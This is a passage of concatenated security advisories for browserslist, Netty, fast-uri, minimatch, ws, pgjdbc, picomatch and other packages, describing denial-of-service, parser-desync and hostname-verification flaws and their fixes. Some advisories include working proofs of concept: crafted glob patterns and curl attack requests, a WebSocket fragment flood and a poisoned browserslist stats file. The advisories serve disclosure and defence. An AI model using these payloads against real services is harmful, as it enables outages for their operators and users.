`parseCommaParts()` is rewritten as a loop that carries the partial part across chunks, and every array append uses an element-by-element loop rather than `push.apply`. The redundant `if (!str) return ['']` guard is dropped - the loop returns `['']` for the empty string on its own. Equivalence of the old and new implementations was checked by differential testing: exhaustive over every string of `{`, `}`, `,`, `a` up to length 7 plus 300,000 random inputs - 322,000 cases, zero mismatches. ### Severity note Scored 7.5 High under CVSS 3.1 for consistency with the other availability advisories on this package (GHSA-mh99-v99m-4gvg, GHSA-rgw5-rvv9-x895), which use the same vector. The reporter self-assessed 6.9 Medium under CVSS 4.0 (`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`). ### Credit Reported by baeseungwon1010, with a working proof of concept and a proposed patch. Vector 2 was identified during maintainer verification.
### Summary Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in `DefaultSpdySettingsFrame` without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work. ### Details Inbound SPDY bytes enter `SpdyFrameCodec.decode()` and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only `length >= 4`. For SETTINGS payloads, it reads the peer-controlled `numSettings` field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into `spdySettingsFrame.setValue()`. The sink is `DefaultSpdySettingsFrame`: it backs settings with a `TreeMap`, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new `Setting` for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site. ### PoC [poc.zip](https://github.com/user-attachments/files/28445737/poc.zip) run with ```bash bash ./poc/run.sh ``` expected output: ```text NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED settings_count=262144 wire_bytes=2097164 approx_heap_delta=17692272 first_value=1 last_value=262144 ``` The `NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED` line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The `wire_bytes=2097164`, `first_value=1`, and `last_value=262144` fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized. ### Impact remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing `SpdyFrameCodec` can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of `4 + numSettings * 8`, and IDs within the accepted 24-bit range; the verified PoC uses `numSettings=262144` and `wire_bytes=2097164`. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed `DefaultSpdySettingsFrame`, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.
## Vulnerability Details **File**: `node.js` **Function**: `normalizeStats()` (line ~214), reached from `getStat()` (called **unconditionally** on every `browserslist()` call) and `loadStat()` ### Root Cause ```js function normalizeStats(data, stats) { if (!data) { data = {} } if (stats && 'dataByBrowser' in stats) { stats = stats.dataByBrowser } if (typeof stats !== 'object') return undefined var normalized = {} for (var i in stats) { var versions = Object.keys(stats[i]) if (versions.length === 1 && data[i] && data[i].versions.length === 1) { var normal = data[i].versions[0] normalized[i] = {} normalized[i][normal] = stats[i][versions[0]] } else { normalized[i] = stats[i] } } return normalized } ``` `stats` is untrusted: it comes from `JSON.parse()`-ing a `browserslist-stats.json` file — auto-discovered by walking up the directory tree from the project root **on every `browserslist()` call, regardless of the query** (`env.getStat(opts, browserslist.data)` runs unconditionally inside `browserslist()`) — or from `opts.stats` passed programmatically / via the CLI's `--stats=` flag. `data` is `browserslist.data`, a plain object populated only with real browser names. Two independent bugs from the same root cause (unguarded `for...in` over untrusted keys used with plain-object bracket access/assignment): 1. **Crash**: `data[i]` has no `hasOwnProperty` guard. If `stats` contains a key that also happens to be an inherited `Object.prototype` member name — `"__proto__"`, `"toString"`, `"valueOf"`, `"constructor"`, `"hasOwnProperty"`, `"isPrototypeOf"`, etc. — `data[i]` resolves to that inherited function/object (always truthy), and the code then does `data[i].versions.length` → `undefined.length` → **uncaught `TypeError`**, for any such key whose JSON value has exactly one sub-key, e.g.: ```json { "toString": { "onekey": 5 }, "chrome": { "100": 50 } } ``` 2. **Prototype write**: `normalized[i] = ...` on the fresh `normalized = {}` — if `i` is exactly `"__proto__"` (and `normalized` has no own property by that name yet), this computed assignment invokes the real `Object.prototype.__proto__` setter, changing `normalized`'s actual `[[Prototype]]` instead of creating a plain property. Because this runs on **every** `browserslist()` call regardless of the query, simply committing a poisoned `browserslist-stats.json` anywhere in a project's directory tree breaks every subsequent Browserslist call in that project — including calls made by Autoprefixer, Babel `preset-env`, Stylelint, or PostCSS internally, for completely unrelated queries. ### Attack Scenario 1. Attacker submits a PR (or a compromised dependency) adding a `browserslist-stats.json` file anywhere between the project root and filesystem root, containing e.g. `{"toString": {"onekey": 5}, "chrome": {"100": 50}}`. 2. The victim's build/CI pipeline runs any tool that calls `browserslist()` internally, for **any** query. 3. The auto-discovered poisoned file crashes the process with an uncaught `TypeError` on the very first call. ### Measured Impact Confirmed crash (real `browserslist()` call, v4.28.6) with `stats` keys: `__proto__`, `toString`, `valueOf`, `hasOwnProperty`, `constructor`, `isPrototypeOf` — each paired with a one-key JSON object — for any query, including `browserslist('defaults')` which never mentions stats. ### Recommended Fix (implemented and verified) ```js var normalized = Object.create(null) for (var i in stats) { var versions = Object.keys(stats[i]) var known = Object.prototype.hasOwnProperty.call(data, i) && data[i] if (versions.length === 1 && known && known.versions.length === 1) { var normal = known.versions[0] normalized[i] = Object.create(null) normalized[i][normal] = stats[i][versions[0]] } else { normalized[i] = stats[i] } } return normalized ``` `normalized` uses `Object.create(null)` so a write to `"__proto__"` is an ordinary property set, never a `[[Prototype]]` change; `data[i]` is replaced with an explicit `hasOwnProperty` check so it never resolves to an inherited `Object.prototype` member. **Verification**: - `NODE_ENV=test npx uvu test .test.js` → 301/301 pass unmodified (`test/custom.test.js`, `test/shareable-stats.test.js`, `test/cover.test.js` exercise the stats-handling paths). - All 6 previously crash-inducing keys, tested individually, now resolve without error. - The realistic file-based auto-discovery scenario (poisoned `browserslist-stats.json` + an unrelated `browserslist('defaults')` call) now returns a normal result instead of crashing. ### Impact - **Who is affected**: Any project whose build/CI invokes Browserslist (directly or via Autoprefixer/Babel/Stylelint/PostCSS) in a directory tree an attacker can place a file into (external PR, compromised dependency), or any app that passes user-influenced data into `opts.stats`. - **What an attacker achieves**: Immediate DoS — crashes the invoking process on the first Browserslist call after the file is present, for any query, no special syntax needed. - **Conditions required**: No authentication — only the ability to add a file to the project's directory tree, or influence `opts.stats`. ### Verification Environment browserslist @ HEAD (== v4.28.6, current latest stable release) under local Node.js v20.19.5. Pure JS library — executed directly, no server needed. ### Note Found via a systematic review of prototype-pollution-adjacent patterns in this codebase after confirming two unrelated algorithmic-complexity issues (reported separately as GHSA-rrmg-cfrq-23vv and GHSA-g6p8-hj8g-x889) in the same research pass. A similar `for...in` + bracket-write pattern in `index.js`'s `copyObject()` (used by `normalizeAndroidData`) was already guarded against `__proto__`/`constructor`/`prototype` keys by a prior, unrelated commit — that guard was never applied to this function.
### Impact With automatic response decompression enabled (the default), the HTTP/1.1 path decompresses response bodies with no limit on the total output size. A hostile or compromised server, or an attacker who can change a response in transit, can send a small compressed body that inflates without bound in memory, exhausting the client's heap and causing an OutOfMemoryError. gzip, deflate and snappy are always available as vectors; brotli and zstd apply only when those optional codecs are on the classpath. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 The HTTP/2 path carries its own limit from 3.0.11 onward. On 3.0.8, 3.0.9 and 3.0.10 the HTTP/2 decompressor is also unbounded, so on those versions switching to HTTP/2 is not a mitigation. ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The fix counts the decompressed bytes produced for each response and fails the response once the configured maximum is exceeded, so the limit applies to the whole body rather than to any single chunk. ### Workarounds On 3.x, disable automatic decompression (setEnableAutomaticDecompression(false)) and decompress manually with your own size limit. The 2.x line has no such setting; the decompressor is installed unconditionally, so the only option there is to remove the inflater handler through httpAdditionalChannelInitializer. On either line, running the client behind a proxy that caps response sizes also works. ### Details ChannelManager.newHttpContentDecompressor() created Netty's HttpContentDecompressor without any bound, and Netty's own maxAllocation parameter limits a single decode step rather than the accumulated size of a response, so it cannot bound a decompression bomb delivered as many small chunks. The fix tracks the accumulated decompressed size per response instead. Note that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes.
### Impact `fast-uri` v4.1.1 and earlier require a literal `//` to recognize a URI authority, so a reference that uses `\\`, `/\`, or `\/` as the authority introducer (in place of `//`, after an optional scheme) is parsed with no authority: the sequence and everything after it fold into the path. Node's native WHATWG `URL` (used by `fetch()`, `undici`, and Node's `http`/`https` clients) instead treats `\` as interchangeable with `/` for special schemes (`http`, `https`, `ws`, `wss`, `ftp`, `file`), so the two parsers extract different hosts from the same input. For example, `fast-uri` resolves `\\evil.com/path` against base `https://allowed.com/` to `https://allowed.com/%5C%5Cevil.com/path` (confined to the trusted host), while Node's WHATWG URL resolves the same reference to `https://evil.com/path`. Applications that use `fast-uri` to enforce host-based policy (allowlists, denylists, loopback/SSRF filtering, redirect validation, outbound proxy routing) before passing the same URL into Node's URL or `fetch()` consumers see a policy/use desync and can be steered to an unintended destination. ### Patches Upgrade to `fast-uri` v4.1.2, v3.1.5, v2.4.4. ### Workarounds None. Upgrade to the patched version.
### Summary `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. --- ### Details The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960): ```typescript while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } ``` When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input. Measured timing with n=30 path segments: | k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s | --- ### PoC Tested on minimatch@10.2.2, Node.js 20. **Step 1 -- inline script** ```javascript import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms ``` To scale the effect, increase k: ```javascript // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) ``` No special options are required. This reproduces with the default `minimatch()` call. **Step 2 -- HTTP server (event loop starvation proof)** The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: ```javascript // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) ``` Terminal 1 -- start the server: ``` node poc1-server.mjs ``` Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: ``` curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & ``` Terminal 3 -- while the attack is in-flight, send a benign request: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" ``` **Observed output (Terminal 3):** ``` {"result":true,"ms":"0"} time_total: 4.132709s ``` The server reports `"ms":"0"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: ``` {"result":true,"ms":"0"} time_total: 0.001599s ``` --- ### Impact Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
### Summary A remote, unauthenticated peer can leak one direct `ByteBuf` per HTTP/2 `DATA` frame in applications that enable HTTP/2 content decompression via `DelegatingDecompressorFrameListener`. When a `DATA` frame is processed for a stream whose decompressor has already been closed, `Http2Decompressor.decompress(...)` retains the frame buffer but never releases it on the error path, so its reference count never returns to zero. Repeating this over a long-lived HTTP/2 connection exhausts direct memory and crashes the JVM with `OutOfMemoryError` — a denial of service. ### Details In `codec-http2/src/main/java/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java`, `Http2Decompressor.decompress(...)` does: ```java // around line 433 decompressor.writeInbound(data.retain()); ``` The argument `data.retain()` is evaluated **before** `writeInbound(...)` executes, incrementing the buffer's reference count (`refCnt: 1 -> 2`). The very first statement of `EmbeddedChannel.writeInbound(...)` is `ensureOpen()` (`EmbeddedChannel.java:360`), which throws `ClosedChannelException` when the decompressor's internal `EmbeddedChannel` has already been closed. When that happens: - the `DATA` payload has been `retain()`ed but never entered the pipeline, so the decoder's `finally { release() }` never runs; - the surrounding `catch (Throwable t)` block in `decompress(...)` (around line 451) does **not** release the extra reference; - the input buffer therefore can never reach refCnt 0, and its (typically direct) memory is leaked. The decompressor channel is closed on a reachable path: `Http2Connection` `onStreamRemoved` → `Http2Decompressor.cleanup()` → `EmbeddedChannel.finishAndReleaseAll()` (`DelegatingDecompressorFrameListener.java:125-133` and `418-420`). A peer that sends `DATA` frames for a stream whose decompressor has already been cleaned up (e.g. continuing to send `DATA` after `END_STREAM` / stream removal) thus leaks one direct `ByteBuf` per frame. **Affected code**: `DelegatingDecompressorFrameListener.java`, method `Http2Decompressor.decompress(...)` — the `decompressor.writeInbound(data.retain())` call (line ~433) and its `catch (Throwable t)` block (line ~451), which lacks a `data.release()` rollback. **Suggested fix**: track whether `writeInbound` succeeded and roll back the extra `retain()` only when the data never entered the pipeline: ```java boolean writeSucceeded = false; try { decompressor.writeInbound(data.retain()); writeSucceeded = true; // pipeline now owns the release if (endOfStream) { decompressor.finish(); } return 0; } catch (Throwable t) { if (!writeSucceeded) { data.release(); // roll back the extra retain(); data never entered pipeline } if (t instanceof Http2Exception) { throw (Http2Exception) t; } throw streamError(stream.id(), INTERNAL_ERROR, t, ...); } ``` | Case | writeSucceeded | catch action | Reason | |------|:---:|---|---| | `ensureOpen()` throws (this bug) | `false` | `data.release()` | data never entered pipeline | | handler throws internally | `true` | no release | decoder `finally` already released | | `finish()` throws | `true` | no release | `writeInbound` already succeeded | ### PoC Reproduced against the official, unmodified `netty-codec-http2-4.2.15.Final.jar` from Maven Central, using real netty classes and measuring `ByteBuf.refCnt()` directly (the leaking logic is not mocked). Reproduction steps: 1. Download the official artifacts and their dependencies from Maven Central (version `4.2.15.Final`): `netty-common`, `netty-buffer`, `netty-transport`, `netty-resolver`, `netty-handler`, `netty-codec-base`, `netty-codec`, `netty-codec-http`, `netty-codec-http2`, `netty-codec-compression`. 2. Build a real `Http2Decompressor` wrapping a real gzip decoder `EmbeddedChannel` (`ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP)`). 3. Close the internal decompressor channel (equivalent to the end state of `cleanup()` / `finishAndReleaseAll()`). 4. Encode a real gzip `DATA` payload with `ZlibCodecFactory.newZlibEncoder(GZIP)` (`refCnt = 1`). 5. Call `decompress(...)` on the closed channel. 6. Observe: `writeInbound(...)` throws `ClosedChannelException` at its `ensureOpen()` entry (`EmbeddedChannel.java:360`), reached from `DelegatingDecompressorFrameListener.java:433`; `data.refCnt()` is now `2`. 7. Release once as the frame reader would; `refCnt` stays at `1` (`release()` returns `false`) → leaked. Observed reference-count trace: ``` gzipData initial refCnt = 1 decompress -> data.retain() -> refCnt = 2 (retain applied, never rolled back) caller releases once -> refCnt = 1 (release() returns false; not deallocated) => buffer never reaches 0 -> direct memory leaked ``` Observed exception stack (confirms the leak point): ``` java.nio.channels.ClosedChannelException at io.netty.channel.embedded.EmbeddedChannel.checkOpen(EmbeddedChannel.java:959) at io.netty.channel.embedded.EmbeddedChannel.ensureOpen(EmbeddedChannel.java:979) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:360) at io.netty.handler.codec.http2.DelegatingDecompressorFrameListener$Http2Decompressor .decompress(DelegatingDecompressorFrameListener.java:433) ``` Two notes on the harness (they do not affect the leak mechanism): - The internal channel is closed directly via `close()` rather than through `cleanup()`. The end state is identical (channel closed → `writeInbound` throws at `ensureOpen()`); the bug depends on "channel closed → retain not rolled back", not on *how* the channel was closed. - In the isolated harness the rethrown `StreamException`'s root cause shows as `NullPointerException` because the harness does not initialise an `Http2LocalFlowController` (a secondary exception reported during channel close). The leak is already sealed at the `ClosedChannelException` thrown by `writeInbound`'s `ensureOpen()` (line 360); in a real server with the flow controller initialised, the triggering exception is the `ClosedChannelException` itself. A complete self-contained PoC (`Verify02DecompressLeak.java`, ~150 lines, no test framework) plus the exact `javac` / `java` commands can be attached on request. ### Impact - **Vulnerability type**: uncontrolled resource consumption / memory leak (CWE-401), leading to denial of service. Each crafted `DATA` frame leaks one (typically direct/off-heap) `ByteBuf`. - **Who is impacted**: any server (or client) that enables HTTP/2 content decompression by installing `DelegatingDecompressorFrameListener` in its HTTP/2 pipeline. - **Attacker requirements**: remote, unauthenticated. The attacker only needs to send HTTP/2 `DATA` frames for a stream whose decompressor has been cleaned up (e.g. continue sending `DATA` after `END_STREAM`). No special server configuration beyond decompression being enabled. - **Result**: sustained triggering over a long-lived connection exhausts direct memory and crashes the JVM with `OutOfMemoryError`.
### Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53). ### Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible. ### Credits The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).
## Summary pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. ### Impact A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, `loginTimeout` did not fully mitigate this problem. When `loginTimeout` expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue affects availability. It does **not** provide authentication bypass, privilege escalation, or direct password disclosure. A user is vulnerable when **all** of the following are true: 1. The connection uses **SCRAM-SHA-256** authentication. 2. The client reaches a **malicious, compromised, or attacker-controlled PostgreSQL endpoint**. 3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the `server-first-message`. In practice, that can happen in these situations: - the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control - the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources - the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised - the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server - an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, `/etc/hosts`, environment variables, or similar indirection - an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, `sslmode` lower than `verify-full`, or trusting a CA that signs hosts outside the operator's control) The issue is **more damaging** when the application uses connection retries, many parallel connection attempts, or `loginTimeout` and assumes the timeout fully stops the work. ### Patches The patch introduces a new connection property, `scramMaxIterations`, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins. ### Workarounds Until a patched version of pgjdbc is deployed, the following measures reduce exposure: 1. **Only connect to trusted PostgreSQL servers whose identity is verified.** Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server. 2. **Do not rely on `loginTimeout` as a complete mitigation on unpatched versions.** On affected versions, `loginTimeout` can stop the waiting caller while the worker thread continues spending CPU. 3. **Avoid SCRAM on untrusted or interceptable connection paths.** For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count. 4. **Reduce blast radius operationally.** Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate. 5. **On trusted servers you control, keep SCRAM iteration counts at ordinary values.** This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
### Summary Due to the insufficient sanitization of the `file` argument in the `launchEditor`, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters. ### Impact If the following conditions are met, an attacker can execute arbitrary commands on the computer that is using the `launch-editor`: - An attacker can place a file with the malicious filename - An attacker can call the `launchEditor` method with the `file` argument controlled - The `launch-editor` package is running on Windows For example, some development server using this package satisfy these conditions, as a malicious website might be able to force the downloading of a file and the path of that file is predictable. ### Patch This issue has been fixed in the `launch-editor` version 2.9.0 ([commit](https://github.com/vitejs/launch-editor/commit/971291e8a6a91226e1616c5c0ec85423d2d50a5e)).
### Impact `picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Examples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. ### Patches This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. ### Workarounds If upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`. Possible mitigations include: - disable extglob support for untrusted patterns by using `noextglob: true` - reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()` - enforce strict allowlists for accepted pattern syntax - run matching in an isolated worker or separate process with time and resource limits - apply application-level request throttling and input validation for any endpoint that accepts glob patterns ### Resources - Picomatch repository: https://github.com/micromatch/picomatch - `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms - Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`) - Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)
Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all.
## Vulnerability Details **File**: `index.js` **Location**: `cache` (browserslist()'s result cache, line ~402) and `parseCache` (parseQueries()'s AST cache) ### Root Cause ```js var cache = {} var parseCache = {} function browserslist(queries, opts) { ... var cacheKey = JSON.stringify([queries, context]) if (cache[cacheKey]) return cache[cacheKey] ... if (!env.env.BROWSERSLIST_DISABLE_CACHE) { cache[cacheKey] = result } return result } function parseQueries(queries) { var cacheKey = JSON.stringify(queries) if (cacheKey in parseCache) return parseCache[cacheKey] var result = parseWithoutCache(QUERIES, queries) if (!env.env.BROWSERSLIST_DISABLE_CACHE) { parseCache[cacheKey] = result } ... } ``` Every distinct `(queries, context)` pair is cached forever — no size cap, TTL, or eviction. `browserslist.clearCaches()` never resets either object (it only resets `node.js`'s own filesystem caches); the only opt-out is the `BROWSERSLIST_DISABLE_CACHE` env var, controlled by the *calling application*, not an attacker. Some short, valid queries amplify this badly. The `since <year>-<month>-<day>` query type (`/^since (\d+)-(\d+)-(\d+)$/i`) accepts **any** digit combination — `Date.UTC()` normalizes rather than rejects out-of-range values — giving an effectively unbounded space of ~17-byte distinct cache keys, each of which resolves to (and caches) a result close to the full ~8.5 KB browser list for any sufficiently old year. ### Measured Impact 20,000 distinct `since <year>-<month>-<day>` queries (~330 KB total input, `--expose-gc` before/after measurement to rule out uncollected garbage) retained **over 50 MB** of heap permanently — roughly **150x** amplification, growing linearly with no cap observed up to 40,000 queries (52.3 MB). ### Attack Scenario Any long-running process (server, daemon, warm CI worker) that calls `browserslist()` with a query value that varies across requests/items and is influenced, even partially, by external input accumulates one cache entry per distinct value ever seen. An attacker who can influence that value across *many* requests (this is a volumetric attack, unlike the single-request DoS findings from this same research pass) sends a stream of cheap, distinct queries (e.g. `since 1900-01-01`, `since 1900-01-02`, ...) until the process runs out of memory and crashes. ### Recommended Fix (implemented and verified) Replace both plain-object caches with `Map`s bounded to a fixed maximum entry count, evicting the oldest entry once the cap is reached (`Map` preserves insertion order, so `.keys().next().value` is always oldest): ```js var CACHE_MAX_ENTRIES = 500 function boundedCacheSet(map, key, value) { if (map.size >= CACHE_MAX_ENTRIES) { map.delete(map.keys().next().value) } map.set(key, value) } var cache = new Map() var parseCache = new Map() ``` (read sites changed to `.has()`/`.get()`, write sites to `boundedCacheSet()`) **Verification**: - `NODE_ENV=test npx uvu test .test.js` → 301/301 pass unmodified (`test/cache.test.js` exercises `clearCaches()`/`BROWSERSLIST_DISABLE_CACHE` against `node.js`'s separate filesystem caches, unaffected here); confirmed a repeated identical call still returns the cached reference. - Re-ran the memory PoC post-fix: heap stayed flat at ~4.9 MB after 5,000, 10,000, 20,000, and 40,000 distinct `since`-date queries (was 10.5 → 16.5 → 28.4 → 52.3 MB pre-fix). ### Impact - **Who is affected**: Long-running processes calling `browserslist()` with query values that vary across requests/items and are influenced by external input. - **What an attacker achieves**: DoS via eventual out-of-memory crash, given sustained traffic over time (not a single small payload). - **Conditions required**: No authentication; requires volume rather than a single request, hence Medium 